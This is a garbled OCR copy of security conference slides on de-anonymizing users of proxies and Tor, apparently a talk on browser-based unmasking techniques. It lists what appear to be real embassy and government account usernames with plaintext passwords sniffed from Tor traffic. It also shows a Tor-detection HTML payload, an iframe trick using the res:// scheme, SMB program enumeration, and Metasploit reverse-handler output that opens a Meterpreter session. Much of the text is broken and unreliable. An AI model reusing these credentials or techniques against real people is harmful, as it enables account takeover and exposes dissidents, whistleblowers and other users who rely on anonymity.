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-Anonymizing You!

cy is not a guarantee. It

{n the future

taken from you. ([ " everyone will be
. . : illl()llyll]()lls
anonymity is actually for 15 minutes
ely difficult to
achieve!!

@ So we decided to attack users
instead of websites for once.



y IS Privacy Good?

= Safety from trolls who want
to drop docs

er for political dissidents

= Safer for potential victims of
violent crimes (women,

children)...

I'd hit it

AN = Allows people to be
- themselves (for good or bad)

m Safer for whistle blowers
m Increases freedoms



hy iIs Privacy Bad?

aven for “evildoers”

llows them to attack easily
Allows them to retreat easily

OH WELL

llows them to exfiltrate data

= Hurts law enforcement

= Prevents “social compact” - =
- . | WASN'T USING
rules of order from Workmg 088 MY CIVIL LIBERTIES
online contexts. ANYWAY.




i‘zi;‘a Way, Privacy is Broken

OO0

the “gold
rd” for tracking - " =
down on the sl —i i
ot, but what if
we could do better?

5 Let’s start with the ol Py ey
‘basics of how people . . . wmee  oese
anonymize S
themselves.




How?Z

= Basic anonymization guide
[=] PrOXieS: iWorking proxy list

a Proxy:Port i;t:;my Type Couniry SSL Lastcheck time

| CGI pI'OX]_eS 20065127.16180 03100  Transp. MX ¥ 2007-12-11 123007
200211031020 03603  Elite CO 7 2007-12-11 12:32.05

. 19517537880 09206  Transp.TR N 2007-12-11 12:32:34

| SOCKS PI‘OXleS 22126207480 09263  Anon. JP 7 2007-12-11 12:2805
6615320321880 10172  Elte US ¥ 2007-12-11 12:32:51

80.5820561:80 10245  Transp.ES N 2007-12-11 12:32:22

| T()r 202134735520 11470  Hite HK ?  2007-12-11 12:32:29

?

194.102.253.158:80 1.3030 Elite RO
203.147.0.30:20 1.3302 Elite TH

2007-12-11 12:34:11
2007-12-11 12:28:49
2007-12-11 12:31:50
2007-12-11 12:31:09
2007-12-11 12:32:22
2007-12-11 12:28:41
2007-12-11 12:32:16
2007-12-11 12:32:29
2007-12-11 12:28:26
2007-12-11 12:28:31
2007-12-11 12:32:37
2007-12-11 12:33:45
2007-12-11 12:31:13
2007-12-11 12:29:34

A D
o]

| HaCked machines 1682090.42:80 13340  Transp.Z&

221.195.41.196:80 1.7028 Transp. CN

Ny 198.36.203.162:80 24815 Elite US

IE' Freem all 222621986680  2.5762 Elite CHN
196.202.252 244:80 30651 Transp. £0

202.166.164.185:80 3.1732 Anon. FPK

> 194.146.227.15:80 32287 Elite FR

o HOtmall 203.144.144.163:80 4.1522 Transp. TH
20088.114.166:80 47338 Anon. DO

21719624 220:80  4.7393 Anon. KZ

u Gmall 168.209.0.50:30 52741 Transp. Z&

168.243.199.228:80 56886 Elite SV
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Nt Side Certificates

m Good/Normal Use

5 Improving the trust model

- Client: has the cert in the
owser

= Servers: requires all clients
have valid certs

= What if the client goes to
another website with SSL?

= Browser defaults to send
the public key




Client Side Certificates

E Well, COUld this be [ ) User Identification Request x|
m alicious ? 1 | This site has requested that you identify yourself with a certificate:

fcd.csnet.uccs.edu
o . Organization: "UCCS"
= Sniff the public key ssuedUnder UCCS
| Name Of the SYStem Choose a certificate to present as identification:

Imported Certificate #2 [03]

| S Stem OS .Detaﬂs of selected certificate:
'

Issued to: E=cs591@ cs.uccs.edu,CN=cs591,0U=Computer

. Science,0=UCCS,L=Colorado Springs,5T=Colorado,C=US
[ l I E 1 f Serial Number: 03
Sername ma—]- O Walid from 10/04/2005 11:54:07 to 10/04/2006 11:54:07
. Issued by: E=ca@fc4.csnet.uccs.edu,CN=CAfc4,0U=Computer
the Cllent Science,0=UCCS,L=Colorade Springs,ST=Colorado,C=US

Stored in: Software Security Device

» [ .ocation of the server
= Cert Issued / Expires




g about usernames they
often look like this:

s .. full name of the victim

= Interesting more on this later....



=] =" =SS

=

Breaking Tor

100 embassy passwords
Breach proxy honeypots
Open Proxies you trust?
HackedTor.exe

= Setup the Client

= Tor node just logs everything
=  We can play MiTM like Jay

<img

src="http:/ / dige6xxwpt2kngbv.onion/wink.git"
onload="alert("You are using Tor")"
onerror="alert('"You are not using tor')">

Kazakhstan Embassy in Egypt
213.131.64.229 kazaemb piramid

Mongolian Embassy in USA
209.213.221.249
n.tumenbayar@mongolianembassy.us
temp

UK Visa Application Centre in Nepal
208.109.119.54 visuknepal@vfs-uk-
np.com Password

Defense Research & Development
Organization Govt. Of India, Ministry of
Defense jpsingh@drdo.com password+1

Indian Embassy in USA
amb@indianembassy.org 1234

Iran Embassy in Ghana 217.172.99.19
iranemb_accra@mfa.gov.ir accra

Iran Embassy in Kenya 217.172.99.19
iranemb_kenya@mfa.gov.ir kenya

Hong Kong Liberal Party 202.123.79.164
miriamlau 123456 1



Browser Detection
m MrT R TERTE s

o Description: DRM Store Netscape Plugin
o Mime info: application’z-drm Network Interface Plugin nip enabled

= Plugins

Firefox plugin detection:

u History Auto Copy: enabled.

BughfeNot: enabled.
c Customize Google: enabled.
B Screen Resolution DowrThemAll: enabled
Download Manager: enabled.
Flash Block: enabled.
5] B e E F IE Tab: enabled.
JS View: enabled.
NoScript: enabled.
QuickJava: enabled.

= VMware detection (IE only) oo

Web Developer: enabled.

] Plu gin detection JavaScript variables:
Window width = 590
o (Java, Flash and Quicktime) s e
Avallable Screen Width = 1024
= Setup script in Backtrack4 Coler Dyt =32

= But.... The Cloud is the new |—G"—:=_

* http:fitha ckers. orgf
* http:fitha ckers. org/blog/

H O tne S S ! ¢ hitp/fwww. blackhat. com/
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lization/Cloud Detection

s on Linux and Windows
s Mac doesn’t work - 64 bit issue

‘'m New BeEF Module!

= Leverage this knowledge in our
attacks
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Warning - Security

The application’s digital signature cannot be verified. 4 b
Do you want to run the application?

Name: HelloWorld
Publisher: Microsoft Corporation

™ iways trust content From this publsher

Pwn Dem vOhns

m = Java on the client

= Malicious Java Applet

= Client running
old /vulnerable software:
_tgn |[om ] = Plugin and/or Browser

The dightal signature cannot be verified by a trusted source, Only

e et e = Metasploit exploit

http://192,168.159.134

. » » » . . . -

O e e e e L

m
[
[
(
[
[
[
[
[

exploit(handler) >

Handler binding to LHOST 192.168.159.134

Started reverse handler

Starting the payload handler...

Transmitting intermediate stager for over-sized stage...(191 bytes)
Sending stage (2650 bytes)

Sleeping before handling stage...

Uploading DLL (75787 bytes)...

Upload completed.

exploit(handler) > [*] Meterpreter session 1 opened (192.168.159.134:8080 -

192.168.159.132:1051)
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3eEF to the MAX!

odules

aware, QEMU, VirtualBox and EC2)
Ping” Swe

/e Metasploit Payload Applet
F Metasploit Integration
atopwn / New Browser Oday

ed BeEF Modules

= Visited URLs (Alexa top 500)

@ New version of BeEF coming...
= http://www.bindshell.net/beef

L "l




Real IP

r

) [#] about:config - Mozilla Firefox [#] E]@

File  Edit Wiew History  Bookmarks  Tools  Help

= Java
= Java internal IP hender

Preference Mame % Sktakus Tvpe
netwark, protocol-handler, external-defaul default boolzan
E F 1 a S h nebwork, protocal-handle rral. afp defaulk boolzan
= i andle rnal.data default .
o ek a andler exkernal, disk default
= scp:// (winSCP) o o ats o
z andle rnal.hep default X
ctwiork. protocol-handle rnal.javascripk default boolean
E Word/ pdf bugs ebwark., pratocaol-handle rral. mailto defaulk boolzan
by &l m default 22
° ek otocol-handler, external.ms-he default
[=] lth: et handler.external.new default
ebwark, rral. inkp default boolean
cbwork, rnal.shell default boolean
= Already part of A o V0

kernal, v default bio

deCIOak. net z <, praok ; default bo

S ITTME validates

<iframe width=1 height=1

sro="1tm: SR 01 Oas B 0. itma. f =
</iframe:
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ystem Enumeration

Average bad time is 1101 5ms

17



Usernames and Computer
Names!

= But seriously - that's just -
terrible, let’s just get the
username and computer /) \\
name directly! ‘

= Cut and paste

m httnn:-/ /ha ~lrove nvo/lao ~om?
Follow TCP Stream

Skreamn Caonkent

T - 'E |_u_1....H_n..?-:::-:-- ..... |:1F'.u- w.i.n.d.o.w.s. LZ2.0.0.2. S0

.S.eruveilscoes JPLalclk. L2000

Save As Entire caonversation (412235 bytes) (*) ASCI ) EBCDIC () Hex Dump O C Arravs () Raw




S

o LLY.F ERTT TS BLIIL - ¥ IUUYYS IILE] 1IEL LAPIULE)

[ o v Page~

The SMB enumeration technique appears to be working on your computer. Perfect! So here we go!
The following programs are either installed or used to be installed:

Found - WinDVD
Found - Windows Pinball
O O Found - Conexant NetWaiting

Found - Adobe Reader 8.0
B SMB enum only finds certain e

Found - Interactual Player

Found - Quickbooks

Found - JRE 1.5.0_11

° o
types of files and only if known JEEEs
Found - Microsoft CRM
Found - Microsoft Live Meeting 8
° ° Found - Microsoft Visual Studio 8

Found - Mozilla Firefox

rl O r O e S 1 I I Found - Mozilla Tunderbird
Found - Snagit 9
Found - VMware Player
Found - Ommnipeek Personal
Found - Freemind

= SMB enum could also gather o

Found - MySQL Tools for 5.0

usernames through brute force REEs=o

Found - VideoLAN VLC
Found - Microsoft Virtial Earth 3D

= Usernames + res:// timing e

Found - AT&T Communications Manager
Found - ATI Technologies ATIACE
Found - Canon ZoomBrowser

could gather programs that o

Found - Fiddler
, Found - HP's SwiScan

Found - iPhone Configuration Utility
smbenum alone couldn’t o

Found - MSN

Found - OpenVPN

Found - Paros

Found - Adobe Photoshop 6.0

Found - iTunes

Found - Source Insight 3

Found - Canon CameraWindow

Found - Microsoft Office 11

Found - Microsoft Office 12

Found - Windows Media Player

You appear to be using Internet Explorer 8 0.




Google

i) burp suite v1201

burp intruder repeater window help

" target [ proxy | spider [ scanner [ intruder | repeater | sequencer | decoder | comparer | comms | alerts

"intercept | options | history

Filter: showing all items

request | response

GET /safebrowsing/newkey?client=navclient-auto-fiox&appver=3.5.1&pver=2.2 HTTP/1.1

Host: sb-ssl.google.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1

Accept: text/html application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-us.en;q=05
Accept-Encoding: gzip,deflate

Accept-Charset: ISO-8859-1,uif-8,9=0.7 *;,q=0.7
Keep-Alive: 300

Connection: keep-alive




Google

i) burp suite v1201

burp intruder repeater window help

" target [ proxy | spider [ scanner [ intruder | repeater | sequencer | decoder | comparer | comms | alerts

"intercept | options | history

Filter: showing all items

" request | response

" headers

HTTP/1.1 200 OK
Content-Type: applicationivnd.google.safebrowsing-key

Set-Cookie: PREF=ID=5d31db858cfd02a6:TM=1248191158:LM=1248191158:5=0hi_xj8RKX87iSJq; expires=Thu, 21-Jul-2011 15:45:58 GMT, path=/; domain=.google.com

Date: Tue, 21 Jul 2009 15:45:58 GMT
Server. Chunked Update Server
Content-Length: 154

clientkey:24:dc6rE0BsFDWivypxP7abDQ==

wrappedkey.100:AKEgNivmpOtMR_ad4sZ_fBJrrg3ddbA7jQOQKxk7MoW45QoJIjCDUC5yZ0t5S-Ht257VE5BVUeZPFaJN7JxZ-ed_qeeA2cIFA==




Google

=) burp suite v1.2.01, (=)

burp intruder repeater window help

" target [ proxy | spider | scanner [ intruder | repeater | sequencer | decoder | comparer | comms | alerts

" intercept | options | history

Filter: showing all items
host metod]  WRL | gth | MIME type| extension SSL
hitp://safebrow... [POST  lsafebrowsing/downloads?client=navclient-auto-ffox... text [] 4
e

 request | response
" params | headers

POST
/safebrowsina/downloads?client=navclient-auto-flox&appver=3.5.1&pver=2.2&wrkey=AKEgNiujdIKTE8p9_yg-IbD36XtdyZTIm-Oduw-0zXMt72GnA7p2MqCI54ViIUZVFTIGH-5LP7fx
Ax8F7zANsYtGfA0Ij05eGQ==HTTP/1.1

Host: safebrowsing.clients.google.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1
Accept: text/html application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: ISO-8859-1,uif-8,q=0.7,*;,0=0.7

Keep-Alive: 300

Proxy-Connection: keep-alive

Content-Type: text/plain

Content-Length: 46

goog-malware-shavar,mac
goog-phish-shavar,mac




Google

0= burp suite V1201 o o e

burp intruder repeater window help

(target [ proxy |  spider | scanner |“intruder [ repeater | sequencer | decoder | comparer | comms | alerts

" intercept | options | history

Filter: showing all items

# host  |method] _______ URL |
14 |nitp:isafebrow... [POST i
4

HTTP/1.1 200 OK
Content-Type: applicationivnd.google safebrowsing-update
Set-Cookie: PREF=ID=abd22{5b548a3253:TM=1248191312:LM=1248191312:S=Z0idSJKAkfSXxg4WG; expires=Thu, 21-Jul-2011 15:48:32 GMT, path=/, domain=.google.com

Date: Tue, 21 Jul 2009 15:48:32 GMT
Server. Chunked Update Server
Content-Length: 3259

Expires: Tue, 21 Jul 2009 15:48:32 GMT
Cache-Control: private

m:sLC_1bdgghX0ObOxzXFMuwQ_CTcQ=

n:1782

i.goog-malware-shavar

u:safebrowsing-cache.google.com/safebrowsingird/goog-malware-shavar_s_13481-13520.13481-13520.: KIEnS7_Rwc1e41jYpQ2IfXLnWo=
u:safebrowsing-cache.google.com/safebrowsingird/goocg-malware-shavar_s_13521-13560.13521-13560.;, qajv5dPRtafOfZgQKaWp_z1H-Y8=
u:safebrowsing-cache.google.com/safebrowsing/rd/goog-malware-shavar_s_13561-13600.13561-13600.: 18q5DBFYBYGrwY2Ge2gM_Wh5fos=
u:safebrowsing-cache.google.com/safebrowsing/rd/goog-malware-shavar_s_13601-13680.13601-13680.. FUZROKI1raD-tVrceNnK1gqgBfQU=
u:safebrowsing-cache.google.com/safebrowsing/rd/goog-malware-shavar_s_13681-13760.13681-13760.. xSgzwhcfiJwZcU3HW1tNC424edc=
u:safebrowsing-cache.google.com/safebrowsing/rd/goog-malware-shavar_s_13761-13840.13761-13840.. nwMSQupwwYjM0ZF2a3uv12xpFKU=




Google Owns Us!

burp intruder repeater window help

“proxy | spider [ scanner [ intruder | repeater | sequencer | decoder | comparer | comms | alerts |

options | history |

Filter: showing all items

# host method URL params time IP

158 |hitp://safebrowsing.client... [POST |/safebrowsing/downloads?client=googlechrome&ap... 5:11:59 PM 7412545139

159 |hitp:/itools.google.com POST |/senvicelupdate2?w=3.Be1IMsfe-4000srOjPDHu38... 6:28:01 PM 209.85.133.101

160 |hitp:/itools.google.com POST |/senvicelupdate2?w=3.q-7ywR8pMIcBDjVSHEMAWU... 11:28:01 PM 209.85.133.100

161 |hitp:/itools.google.com POST senicelupdate2?w=3:n1nWWzn06ySK3s5Sx7nvFh7... 4:28:01 AM 7412545138

RSIEIEIE]

hitp://safebrowsing.client... |[POST |/safebrowsing/downloads?client=googlechrome&ap... 8:41:37 AM 74.125.159.138

I |

request | response |

raw | params | headers | hex |

POST
/sernvicefupdate2?w=3:n1TnWWzn06ySK3s5Sx7nvFh7B36-FWy1a9p8p8dVDIlIC7FXXh_4ETGhBicgz_RerQsmbgyfKeSo8sohzQiT21ciOvng_Ukyh
3Zk—zadit8aYrg2-HImrQTa6T4SBbUsKwshlaYFg6XC1mrmJoDFa_HksrzlUqvGzgc-RiSAUEM HTTP/1.1

I-Match: "idYCxIURxLwBwWGAxhZv0la3-6bw”

Cookie: c=ANcH4TKuMAOPQDIOy0Mtel77JE0COp]DgHNE32LcMGMrYICG3rw1RENHUHWCLYEswooPPNAGHI_KyOabsCgXZImPgFEDRUAO-Q
User-Agent: Google Update/1.2.183.7;winhitp;cup

Host: tools.google.com

Proxy-Connection: Keep-Alive

Cache-Control: no-cache

Pragma: no-cache

Content-Length: 729

<'?xmlver5|on-‘1 0" ean'-"" =

appid="{430FD4D0- B729-4F61—AA34-91526481799D}" version="1.2. 183 7" lang=""brand= ‘GGLS‘ client="" |nstallage=“6'
installsource="scheduler"=<o:updatecheck/></o:app=<0:app appid="{8A69D345-D564-463C-AFF1-AG9D9ES30F96}" version="2.0.172.33"
lang="en" brand="GGLS" client=""installage="6" installsource="scheduler"==o:updatecheck/=<0:ping active="0"/=</0:app=</0:gupdate=

L=l | 0 matches
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@ http://sla. .org - the forum
- @ h_aT_ckers_dOt_org

. Joshua “Jabra” Abraham

E http:/ /www.rapid7.com
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